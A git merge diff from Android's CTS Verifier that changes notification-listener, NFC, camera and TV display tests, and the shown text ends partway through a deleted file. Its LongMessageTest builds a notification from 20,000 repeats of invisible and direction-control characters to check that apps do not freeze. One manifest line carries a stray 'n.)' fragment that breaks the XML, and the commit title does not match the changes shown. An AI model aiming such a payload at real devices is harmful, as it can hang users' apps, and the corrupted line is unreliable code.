Merge "Add tests for getSystemSelectionChannel API" am: 805a3d4ea2 am: c31d402569
Original change: https://android-review.googlesource.com/c/platform/cts/+/1503376
Change-Id: I6ccd0cb0028bbd094f3e133f5fbf805a1534550d
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 19a27bbe8..d85502f 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2503,9 +2503,9 @@
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.automotive"/>
+ android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback"/>
<meta-data android:name="display_mode"
- android:value="multi_display_mode" />
+ android:value="multi_display_mode" />n.)
</activity>
<service android:name=".camera.intents.CameraContentJobService"
@@ -4283,22 +4283,12 @@
<meta-data android:name="test_category" android:value="@string/test_category_tv" />
<meta-data android:name="test_required_features"
android:value="android.software.leanback" />
+ <meta-data android:name="test_required_configs"
+ android:value="config_tv_panel"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
</activity>
- <activity android:name=".tv.display.DisplayModesTestActivity"
- android:label="@string/tv_display_modes_test"
- android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
- <meta-data android:name="test_category" android:value="@string/test_category_tv"/>
- <meta-data android:name="test_required_features"
- android:value="android.software.leanback"/>
- <meta-data android:name="display_mode"
- android:value="multi_display_mode" />
- </activity>
+
<activity android:name=".screenpinning.ScreenPinningTestActivity"
android:label="@string/screen_pinning_test">
diff --git a/apps/CtsVerifier/res/layout/nls_item.xml b/apps/CtsVerifier/res/layout/nls_item.xml
index f1a10bf..e80d333 100644
--- a/apps/CtsVerifier/res/layout/nls_item.xml
+++ b/apps/CtsVerifier/res/layout/nls_item.xml
@@ -14,41 +14,51 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
- android:layout_height="wrap_content" >
+ android:layout_height="wrap_content"
+ android:orientation="vertical">
- <ImageView
- android:id="@+id/nls_status"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_alignParentLeft="true"
- android:layout_alignParentTop="true"
- android:layout_marginTop="10dip"
- android:contentDescription="@string/pass_button_text"
- android:padding="10dip"
- android:src="@drawable/fs_indeterminate" />
-
- <TextView
- android:id="@+id/nls_instructions"
- style="@style/InstructionsSmallFont"
+ <LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_alignParentTop="true"
- android:layout_toRightOf="@id/nls_status"
- android:text="@string/nls_enable_service" />
+ android:orientation="horizontal">
+ <ImageView
+ android:id="@+id/nls_status"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_alignParentLeft="true"
+ android:layout_alignParentTop="true"
+ android:layout_marginTop="10dip"
+ android:contentDescription="@string/pass_button_text"
+ android:padding="10dip"
+ android:src="@drawable/fs_indeterminate" />
+
+ <TextView
+ android:id="@+id/nls_instructions"
+ style="@style/InstructionsSmallFont"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_gravity="center_vertical"
+ android:layout_toRightOf="@id/nls_status"
+ android:text="@string/nls_enable_service" />
+ </LinearLayout>
<Button
android:id="@+id/nls_action_button"
- android:layout_width="match_parent"
+ android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_below="@id/nls_instructions"
android:layout_marginLeft="20dip"
android:layout_marginRight="20dip"
- android:layout_toRightOf="@id/nls_status"
android:onClick="actionPressed"
+ android:layout_gravity="center_horizontal"
android:text="@string/nls_start_settings" />
-</RelativeLayout>
\ No newline at end of file
+ <LinearLayout
+ android:id="@+id/feedback"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:visibility="gone" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/integers.xml b/apps/CtsVerifier/res/values/integers.xml
index 508c52c..2ced54b 100644
--- a/apps/CtsVerifier/res/values/integers.xml
+++ b/apps/CtsVerifier/res/values/integers.xml
@@ -14,5 +14,5 @@
limitations under the License.
-->
<resources>
- <integer name="test_list_footer_button_count">2</integer>
+ <integer name="test_list_footer_button_count">3</integer>
</resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 29dffc1..0456fe0 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1201,7 +1201,7 @@
If your device supports type B (for example, because of a type B only UICC), select "Type B" from the drop-down box above. Note that all tests must be completed in the same mode (either "Type A" or "Type B").</string>
<string name="nfc_offhost_please_wait">Please wait</string>
<string name="nfc_offhost_setting_up">Setting up card emulation services...</string>
- <string name="nfc_offhost_uicc_transaction_event_emulator_help">Switch application to background before starting tests. Successful transaction event will switch application to foreground with transaction event data.</string>
+ <string name="nfc_offhost_uicc_transaction_event_emulator_help"> This is an optional test for Android version beofre S. This is okay to set this test to passed and continue. Switch application to background before starting tests. Successful transaction event will switch application to foreground with transaction event data.</string>
<!-- Strings for Sensor Test Activities -->
<string name="snsr_device_admin_receiver">Sensor Tests Device Admin Receiver</string>
@@ -2185,6 +2185,9 @@
and disabled, and that once enabled the service is able to receive notifications and
dismiss them.
</string>
+ <string name="nls_anr">This test checks that notifications are not sent with content that is
+ too long. If this test causes the test app to ANR, the test has failed.
+ </string>
<string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
<string name="conversation_section_ordering">If this device supports conversation notifications,
and groups them into a separate section from alerting and silent non-conversation
@@ -2212,10 +2215,6 @@
controls for the CTS Verifier app.
Check that icons appear for rewind, previous track, pause, next track and fast forward.
</string>
- <string name="qs_media_player_compact_actions">Open Notification Shade and look at the media player
- controls for the CTS Verifier app.
- Check that icons appear for only previous track, pause and next track.
- </string>
<string name="qs_media_player_output_switcher">Open Quick Settings and look at the media player
controls for the CTS Verifier app. Click on the button showing that the media is playing
on the phone speaker. Check that the Output Switcher opens.
@@ -4664,22 +4663,9 @@
<!-- HDR Capabilities test -->
<string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
- <string name="tv_hdr_capabilities_test_step_hdr_display">HDR Display</string>
- <string name="tv_hdr_capabilities_test_step_no_display">No Display</string>
- <string name="tv_hdr_capabilities_test_step_non_hdr_display">Non HDR Display</string>
<string name="tv_hdr_capabilities_test_info">This test checks if
Display.getHdrCapabilities correctly reports the HDR capabilities of the display.
</string>
- <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then
- press the "%s" button, below.
- </string>
- <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press
- the "%s" button, below.
- </string>
- <string name="tv_hdr_disconnect_display">Press the "%1$s" button
- and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then
- reconnect the display.
- </string>
<string name="tv_panel_hdr_types_reported_are_supported">
The supported HDR types are: %s\nAre all of them supported by the hardware?
</string>
@@ -4687,31 +4673,6 @@
Are there other HDR types which are supported by the hardware, but are not listed above?
</string>
- <!-- Display Modes Test -->
- <string name="tv_display_modes_test">Display Modes Test</string>
- <string name="tv_display_modes_test_info">This test checks if Display.getSupportedModes()
- and Display.getMode() are correctly reporting the supported screen modes.
- </string>
- <string name="tv_display_modes_disconnect_display">
- Press the "%1$s" button and disconnect the display within %2$d seconds. Wait at least %3$d
- seconds and then reconnect the display.
- </string>
- <string name="tv_display_modes_test_step_no_display">No Display</string>
- <string name="tv_display_modes_test_step_1080p">1080p Display</string>
- <string name="tv_display_modes_test_step_2160p">2160p Display</string>
- <string name="tv_display_modes_start_test_button">Start Test</string>
- <string name="tv_display_modes_connect_2160p_display">
- Connect a 2160p display and press the "%s" button, below.
- </string>
- <string name="tv_display_modes_connect_1080p_display">
- Connect a 1080p display and press the "%s" button, below.
- </string>
- <string name="tv_panel_display_modes_reported_are_supported">
- The supported display modes are:\n%s\n\nAre all of the above display modes supported by the hardware?
- </string>
- <string name="tv_panel_display_modes_supported_are_reported">
- Are there other modes which are supported by the hardware, but are not listed above?
- </string>
<string name="overlay_view_text">Overlay View Dummy Text</string>
<string name="custom_rating">Example of input app specific custom rating.</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
index 7365b32..78f41da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
@@ -753,7 +753,7 @@
private void startPreview() {
try {
- if (mPreviewSize == null || mPreviewSize.equals(mNextCombination.mPreviewSize)) {
+ if (mPreviewSize == null || !mPreviewSize.equals(mNextCombination.mPreviewSize)) {
mPreviewSize = mNextCombination.mPreviewSize;
mYuvImageReader = ImageReader.newInstance(mPreviewSize.getWidth(),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
index 037dd7f..795028e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
@@ -29,6 +29,7 @@
import android.nfc.NfcAdapter;
import android.nfc.cardemulation.CardEmulation;
import android.os.AsyncTask;
+import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
@@ -53,7 +54,11 @@
setContentView(R.layout.pass_fail_text);
setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
+ if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+ getPassButton().setEnabled(false);
+ } else {
+ getPassButton().setEnabled(true);
+ }
mTextView = (TextView) findViewById(R.id.text);
mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
index 6f257af..34a418b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
@@ -29,6 +29,7 @@
import android.nfc.NfcAdapter;
import android.nfc.cardemulation.CardEmulation;
import android.os.AsyncTask;
+import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
@@ -53,7 +54,11 @@
setContentView(R.layout.pass_fail_text);
setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
+ if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+ getPassButton().setEnabled(false);
+ } else {
+ getPassButton().setEnabled(true);
+ }
mTextView = (TextView) findViewById(R.id.text);
mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
index d79674d..6055ac4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
@@ -29,6 +29,7 @@
import android.nfc.NfcAdapter;
import android.nfc.cardemulation.CardEmulation;
import android.os.AsyncTask;
+import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
@@ -53,7 +54,11 @@
setContentView(R.layout.pass_fail_text);
setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
+ if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+ getPassButton().setEnabled(false);
+ } else {
+ getPassButton().setEnabled(true);
+ }
mTextView = (TextView) findViewById(R.id.text);
mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index aa5e9c0..121534a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -257,8 +257,8 @@
return item;
}
- protected View createAutoItem(ViewGroup parent, int stringId) {
- View item = mInflater.inflate(R.layout.nls_item, parent, false);
+ protected ViewGroup createAutoItem(ViewGroup parent, int stringId) {
+ ViewGroup item = (ViewGroup) mInflater.inflate(R.layout.nls_item, parent, false);
TextView instructions = item.findViewById(R.id.nls_instructions);
instructions.setText(stringId);
View button = item.findViewById(R.id.nls_action_button);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
index eb6a681..fbe0b01 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
@@ -64,7 +64,6 @@
cases.add(new MediaPlayerTestCase(R.string.qs_media_player_progress_bar));
cases.add(new MediaPlayerTestCase(R.string.qs_media_player_actions));
cases.add(new MediaPlayerTestCase(R.string.qs_media_player_output_switcher));
- cases.add(new MediaPlayerTestCase(R.string.qs_media_player_compact_actions));
return cases;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index 12e2b93..31980af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -51,7 +51,7 @@
public static final String JSON_STATS = "stats";
public static final String JSON_LAST_AUDIBLY_ALERTED = "last_audibly_alerted";
- ArrayList<String> mPosted = new ArrayList<String>();
+ ArrayList<StatusBarNotification> mPosted = new ArrayList<>();
ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
ArrayMap<String, String> mNotificationKeys = new ArrayMap<>();
ArrayList<String> mRemoved = new ArrayList<String>();
@@ -77,6 +77,15 @@
return mNotifications.values();
}
+ protected StatusBarNotification getPosted(String tag) {
+ for (StatusBarNotification sbn : mPosted) {
+ if (sbn.getTag().equals(tag)) {
+ return sbn;
+ }
+ }
+ return null;
+ }
+
protected String getKeyForTag(String tag) {
return mNotificationKeys.get(tag);
}
@@ -149,7 +158,7 @@
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
if (!mTestPackages.contains(sbn.getPackageName())) { return; }
Log.d(TAG, "posted: " + sbn.getTag());
- mPosted.add(sbn.getTag());
+ mPosted.add(sbn);
mPostedNotifications.add(sbn.getNotification());
JSONObject notification = new JSONObject();
try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 42ee9e1..1d704b0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -56,6 +56,8 @@
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
+import android.widget.FrameLayout;
+import android.widget.RemoteViews;
import androidx.core.app.NotificationCompat;
@@ -117,6 +119,7 @@
tests.add(new IsEnabledTest());
tests.add(new ServiceStartedTest());
tests.add(new NotificationReceivedTest());
+ tests.add(new LongMessageTest());
tests.add(new DataIntactTest());
tests.add(new AudiblyAlertedTest());
tests.add(new DismissOneTest());
@@ -261,8 +264,73 @@
@Override
protected void test() {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() > 0 && result.contains(mTag1)) {
+ if (MockListener.getInstance().getPosted(mTag1) != null) {
+ status = PASS;
+ } else {
+ logFail();
+ status = FAIL;
+ }
+ }
+ }
+
+ private class LongMessageTest extends InteractiveTestCase {
+ private ViewGroup mParent;
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mParent = createAutoItem(parent, R.string.nls_anr);
+ return mParent;
+ }
+
+ @Override
+ protected void setUp() {
+ createChannels();
+ StringBuilder sb = new StringBuilder();
+ for (int i = 0; i < 20000; i++) {
+ sb.append("\u2009\u200a" + "\u200E\u200F" + "stuff");
+ }
+ Notification.Builder builder = new Notification.Builder(
+ mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(android.R.id.icon)
+ .setContentTitle("This is an long notification")
+ .setContentText("Innocuous content")
+ .setStyle(new Notification.MessagingStyle("Fake person")
+ .addMessage("hey how is it goin", 0, "Person 1")
+ .addMessage("hey", 0, "Person 1")
+ .addMessage("u there", 0, "Person 1")
+ .addMessage("how you like tHIS", 0, "Person 1")
+ .addMessage(sb.toString(), 0, "Person 1")
+ );
+ mTag1 = UUID.randomUUID().toString();
+ mId1 = NOTIFICATION_ID + 1;
+ mPackageString = "com.android.cts.verifier";
+ mNm.notify(mTag1, mId1, builder.build());
+ status = READY;
+ }
+
+ @Override
+ protected void tearDown() {
+ mNm.cancelAll();
+ MockListener.getInstance().resetData();
+ deleteChannels();
+ }
+
+ @Override
+ protected void test() {
+ StatusBarNotification sbn = MockListener.getInstance().getPosted(mTag1);
+ if (sbn == null) {
+ logFail();
+ status = FAIL;
+ } else {
+ ViewGroup parent = mParent.findViewById(R.id.feedback);
+ parent.setVisibility(View.VISIBLE);
+ final Notification.Builder recoveredBuilder = Notification.Builder.recoverBuilder(
+ NotificationListenerVerifierActivity.this,
+ sbn.getNotification());
+ RemoteViews rv = recoveredBuilder.createContentView();
+ View v = rv.apply(NotificationListenerVerifierActivity.this, parent);
+ parent.addView(v);
+ }
+ if (MockListener.getInstance().getPosted(mTag1) != null) {
status = PASS;
} else {
logFail();
@@ -985,8 +1053,7 @@
if (MockListener.getInstance() == null) {
status = PASS;
} else {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() == 0) {
+ if (MockListener.getInstance().mPosted.size() == 0) {
status = PASS;
} else {
logFail();
@@ -1157,8 +1224,7 @@
state = READY_TO_CHECK_FOR_UNSNOOZE;
}
} else {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() > 0 && result.contains(mTag1)) {
+ if (MockListener.getInstance().getPosted(mTag1) != null) {
status = PASS;
} else {
logFail();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
index e0c02d8..72a34ba 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -69,157 +69,15 @@
@Override
protected void createTestItems() {
List<TestStepBase> testSteps = new ArrayList<>();
- if (TvUtil.isHdmiSourceDevice()) {
- // The device is a set-top box or a TV dongle
- testSteps.add(new NonHdrDisplayTestStep(this));
- testSteps.add(new HdrDisplayTestStep(this));
- testSteps.add(new NoDisplayTestStep(this));
- } else {
- // The device is a TV Panel
- testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
- testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
- }
+ testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
+ testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
mTestSequence = new TestSequence(this, testSteps);
mTestSequence.init();
}
- private static class NonHdrDisplayTestStep extends SyncTestStep {
-
- public NonHdrDisplayTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_hdr_capabilities_test_step_non_hdr_display,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_hdr_connect_no_hdr_display, context.getString(getButtonStringId()));
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTest() {
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isFalse();
- getAsserter()
- .withMessage("Display.getHdrCapabilities()")
- .that(display.getHdrCapabilities().getSupportedHdrTypes())
- .isEmpty();
- }
- }
-
- private static class HdrDisplayTestStep extends SyncTestStep {
-
- public HdrDisplayTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_hdr_capabilities_test_step_hdr_display,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_hdr_connect_hdr_display, context.getString(getButtonStringId()));
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTest() {
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-
- getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isTrue();
-
- Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities();
-
- int[] supportedHdrTypes = hdrCapabilities.getSupportedHdrTypes();
- Arrays.sort(supportedHdrTypes);
-
- getAsserter()
- .withMessage("Display.getHdrCapabilities().getSupportedTypes()")
- .that(supportedHdrTypes)
- .isEqualTo(
- new int[] {
- Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
- Display.HdrCapabilities.HDR_TYPE_HDR10,
- Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS,
- Display.HdrCapabilities.HDR_TYPE_HLG
- });
-
- float maxLuminance = hdrCapabilities.getDesiredMaxLuminance();
- getAsserter()
- .withMessage("Display.getHdrCapabilities().getDesiredMaxLuminance()")
- .that(maxLuminance)
- .isIn(Range.openClosed(0f, MAX_EXPECTED_LUMINANCE));
-
- float minLuminance = hdrCapabilities.getDesiredMinLuminance();
- getAsserter()
- .withMessage("Display.getHdrCapabilities().getDesiredMinLuminance()")
- .that(minLuminance)
- .isIn(Range.closedOpen(0f, MAX_EXPECTED_LUMINANCE));
-
- getAsserter()
- .withMessage("Display.getHdrCapabilities().getDesiredMaxAverageLuminance()")
- .that(hdrCapabilities.getDesiredMaxAverageLuminance())
- .isIn(Range.openClosed(minLuminance, maxLuminance));
- }
- }
-
- private static class NoDisplayTestStep extends AsyncTestStep {
- public NoDisplayTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_hdr_capabilities_test_step_no_display,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_hdr_disconnect_display,
- context.getString(getButtonStringId()),
- DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
- DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTestAsync() {
- // Wait for the user to disconnect the display.
- final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
- mContext.getPostTarget().postDelayed(this::runTest, delay);
- }
-
- private void runTest() {
- try {
- // Verify the display APIs do not crash when the display is disconnected
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- display.isHdr();
- display.getHdrCapabilities();
- } catch (Exception e) {
- getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
- }
- done();
- }
- }
-
private static class TvPanelReportedTypesAreSupportedTestStep extends YesNoTestStep {
public TvPanelReportedTypesAreSupportedTestStep(TvAppVerifierActivity context) {
- super(context, getInstructionText(context));
+ super(context, getInstructionText(context), R.string.tv_yes, R.string.tv_no);
}
private static String getInstructionText(Context context) {
@@ -244,7 +102,7 @@
private static class TvPanelSupportedTypesAreReportedTestStep extends YesNoTestStep {
public TvPanelSupportedTypesAreReportedTestStep(TvAppVerifierActivity context) {
- super(context, getInstructionText(context));
+ super(context, getInstructionText(context), R.string.tv_no, R.string.tv_yes);
}
private static String getInstructionText(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
deleted file mode 100644
index 2b06bde..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
+++ /dev/null
@@ -1,331 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.tv.display;
-
-import android.content.Context;
-import android.hardware.display.DisplayManager;
-import android.os.Bundle;
-import android.view.Display;
-
-import androidx.annotation.StringRes;
-
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.tv.TestSequence;
-import com.android.cts.verifier.tv.TestStepBase;
-import com.android.cts.verifier.tv.TvAppVerifierActivity;
-import com.android.cts.verifier.tv.TvUtil;
-
-import com.google.common.base.Throwables;
-import com.google.common.truth.Correspondence;
-import com.google.common.truth.FailureMetadata;
-import com.google.common.truth.Subject;
-
-import java.time.Duration;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-
-import javax.annotation.Nullable;
-
-/**
- * Test for verifying that the platform correctly reports display resolution and refresh rate. More
- * specifically Display.getMode() and Display.getSupportedModes() APIs are tested. In the case for
- * set-top boxes and TV dongles they are tested against reference displays. For TV panels they are
- * tested against the hardware capabilities of the device.
- */
-public class DisplayModesTestActivity extends TvAppVerifierActivity {
- private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
- private static final float REFRESH_RATE_PRECISION = 0.01f;
-
- private static final Subject.Factory<ModeSubject, Display.Mode> MODE_SUBJECT_FACTORY =
- (failureMetadata, mode) -> new ModeSubject(failureMetadata, mode);
-
- private static final Correspondence<Display.Mode, Mode> MODE_CORRESPONDENCE =
- Correspondence.from((Display.Mode displayMode, Mode mode) -> {
- return mode.isEquivalent(displayMode, REFRESH_RATE_PRECISION);
- }, "is equivalent to");
-
- private TestSequence mTestSequence;
-
- @Override
- protected void setInfoResources() {
- setInfoResources(R.string.tv_display_modes_test, R.string.tv_display_modes_test_info, -1);
- }
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- }
-
- @Override
- protected void createTestItems() {
- List<TestStepBase> testSteps = new ArrayList<>();
- if (TvUtil.isHdmiSourceDevice()) {
- // The device is a set-top box or a TV dongle
- testSteps.add(new NoDisplayTestStep(this));
- testSteps.add(new Display2160pTestStep(this));
- testSteps.add(new Display1080pTestStep(this));
- } else {
- // The device is a TV Panel
- testSteps.add(new TvPanelReportedModesAreSupportedTestStep(this));
- testSteps.add(new TvPanelSupportedModesAreReportedTestStep(this));
- }
- mTestSequence = new TestSequence(this, testSteps);
- mTestSequence.init();
- }
-
- @Override
- public String getTestDetails() {
- return mTestSequence.getFailureDetails();
- }
-
- private static class NoDisplayTestStep extends AsyncTestStep {
- public NoDisplayTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_display_modes_test_step_no_display,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_display_modes_disconnect_display,
- context.getString(getButtonStringId()),
- DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
- DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
- public void runTestAsync() {
- final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
- mContext.getPostTarget().postDelayed(this::runTest, delay);
- }
-
- private void runTest() {
- try {
- // Verify the display APIs do not crash when the display is disconnected
- DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
- Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
- display.getMode();
- display.getSupportedModes();
- } catch (Exception e) {
- getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
- }
- done();
- }
- }
-
- private static class Display2160pTestStep extends SyncTestStep {
- public Display2160pTestStep(TvAppVerifierActivity context) {
- super(
- context,
- R.string.tv_display_modes_test_step_2160p,
- getInstructionText(context),
- getButtonStringId());
- }
-
- private static String getInstructionText(Context context) {
- return context.getString(
- R.string.tv_display_modes_connect_2160p_display,
- context.getString(getButtonStringId()));
- }
-
- private static @StringRes int getButtonStringId() {
- return R.string.tv_start_test;
- }
-
- @Override
